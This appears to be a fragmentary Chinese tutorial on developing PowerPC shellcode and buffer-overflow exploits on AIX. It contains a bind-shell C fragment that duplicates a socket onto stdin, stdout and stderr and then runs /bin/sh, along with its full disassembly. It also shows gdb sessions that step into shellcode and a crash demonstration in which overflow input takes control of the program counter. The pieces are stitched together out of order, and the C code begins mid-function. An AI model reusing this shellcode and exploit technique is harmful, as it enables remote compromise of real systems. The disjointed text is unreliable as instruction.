PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
-bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
-bash-2.05b$ lsattr -El proc0
state enable Processor state False
type PowerPC_604 Processor type False
frequency 232649620 Processor Speed False
bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi‘
testasm.s:5: Error: Unrecognized opcode: `dcbf‘
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.
(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test
Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit
for (i=2;i>=0;i--) {
close(i);
kfcntl(cli, 0, i);
}
execve("/bin/sh", 0, 0);
}
AIX的dup2函数实际上最终调用的还是kfcntl系统调用。编译后,用gdb调试:
-bash-2.05b$ gdb bind
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) disas main
Dump of assembler code for function main:
0x10000534 <main+0>: mflr r0
0x10000538 <main+4>: stw r31,-4(r1)
0x1000053c <main+8>: stw r0,8(r1)
0x10000540 <main+12>: stwu r1,-72(r1)
0x10000544 <main+16>: mr r31,r1
0x10000548 <main+20>: lwz r9,108(r2)
0x1000054c <main+24>: li r0,2
0x10000550 <main+28>: stb r0,1(r9)
0x10000554 <main+32>: lwz r9,108(r2)
0x10000558 <main+36>: li r0,0
0x1000055c <main+40>: stw r0,4(r9)
0x10000560 <main+44>: lwz r9,108(r2)
0x10000564 <main+48>: li r0,4660
0x10000568 <main+52>: sth r0,2(r9)
0x1000056c <main+56>: li r3,2
0x10000570 <main+60>: li r4,1
0x10000574 <main+64>: li r5,0
0x10000578 <main+68>: bl 0x1000734c <socket>
0x1000057c <main+72>: lwz r2,20(r1)
0x10000580 <main+76>: mr r0,r3
0x10000584 <main+80>: lwz r9,112(r2)
0x10000588 <main+84>: stw r0,0(r9)
0x1000058c <main+88>: lwz r9,112(r2)
0x10000590 <main+92>: lwz r3,0(r9)
0x10000594 <main+96>: lwz r4,108(r2)
0x10000598 <main+100>: li r5,16
0x1000059c <main+104>: bl 0x10007448 <bind>
0x100005a0 <main+108>: lwz r2,20(r1)
0x100005a4 <main+112>: lwz r9,112(r2)
0x100005a8 <main+116>: lwz r3,0(r9)
0x100005ac <main+120>: li r4,5
0x100005b0 <main+124>: bl 0x1000746c <listen>
0x100005b4 <main+128>: lwz r2,20(r1)
0x100005b8 <main+132>: lwz r9,112(r2)
0x100005bc <main+136>: lwz r3,0(r9)
0x100005c0 <main+140>: li r4,0
0x100005c4 <main+144>: li r5,0
0x100005c8 <main+148>: bl 0x10007394 <naccept>
0x100005cc <main+152>: lwz r2,20(r1)
0x100005d0 <main+156>: mr r0,r3
0x100005d4 <main+160>: lwz r9,116(r2)
0x100005d8 <main+164>: stw r0,0(r9)
0x100005dc <main+168>: lwz r9,120(r2)
0x100005e0 <main+172>: li r0,2
0x100005e4 <main+176>: stw r0,0(r9)
0x100005e8 <main+180>: lwz r9,120(r2)
0x100005ec <main+184>: lwz r0,0(r9)
0x100005f0 <main+188>: cmpwi r0,0
0x100005f4 <main+192>: bge- 0x100005fc <main+200>
0x100005f8 <main+196>: b 0x10000640 <main+268>
0x100005fc <main+200>: lwz r9,120(r2)
0x10000600 <main+204>: lwz r3,0(r9)
0x10000604 <main+208>: bl 0x100074b4 <close>
0x10000608 <main+212>: lwz r2,20(r1)
0x1000060c <main+216>: lwz r9,116(r2)
0x10000610 <main+220>: lwz r11,120(r2)
0x10000614 <main+224>: lwz r3,0(r9)
0x10000618 <main+228>: li r4,0
0x1000061c <main+232>: lwz r5,0(r11)
0x10000620 <main+236>: bl 0x100074d8 <kfcntl>
0x10000624 <main+240>: lwz r2,20(r1)
0x10000628 <main+244>: lwz r11,120(r2)
0x1000062c <main+248>: lwz r9,120(r2)
0x10000630 <main+252>: lwz r9,0(r9)
0x10000634 <main+256>: addi r0,r9,-1
0x10000638 <main+260>: stw r0,0(r11)
0x1000063c <main+264>: b 0x100005e8 <main+180>
0x10000640 <main+268>: lwz r3,124(r2)
0x10000644 <main+272>: li r4,0
0x10000648 <main+276>: li r5,0
0x1000064c <main+280>: bl 0x10007328 <execve>
0x10000650 <main+284>: lwz r2,20(r1)
0x10000654 <main+288>: mr r3,r0
0x10000658 <main+292>: lwz r1,0(r1)
0x1000065c <main+296>: lwz r0,8(r1)
0x10000660 <main+300>: mtlr r0
0x10000664 <main+304>: lwz r31,-4(r1)
0x10000668 <main+308>: blr
0x1000066c <main+312>: .long 0x0
0x10000670 <main+316>: .long 0x2061
0x10000674 <main+320>: lwz r0,1(r1)
0x10000678 <main+324>: .long 0x138
0x1000067c <main+328>: .long 0x46d61
0x10000680 <main+332>: xori r14,r11,7936
End of assembler dump.
gdb能够显示各函数的入口地址,我们在这些入口地址分别下断点:
(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328
-bash-2.05b$ gdb server
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) r
Starting program: /home/san/server
客户端连接服务,并且发送数据来让服务端崩溃:
-bash-2.05b$ telnet localhost 4444
Trying...
Connected to localhost.
Escape character is ‘^]‘.
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
服务端:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/8x $r1
0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648
0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e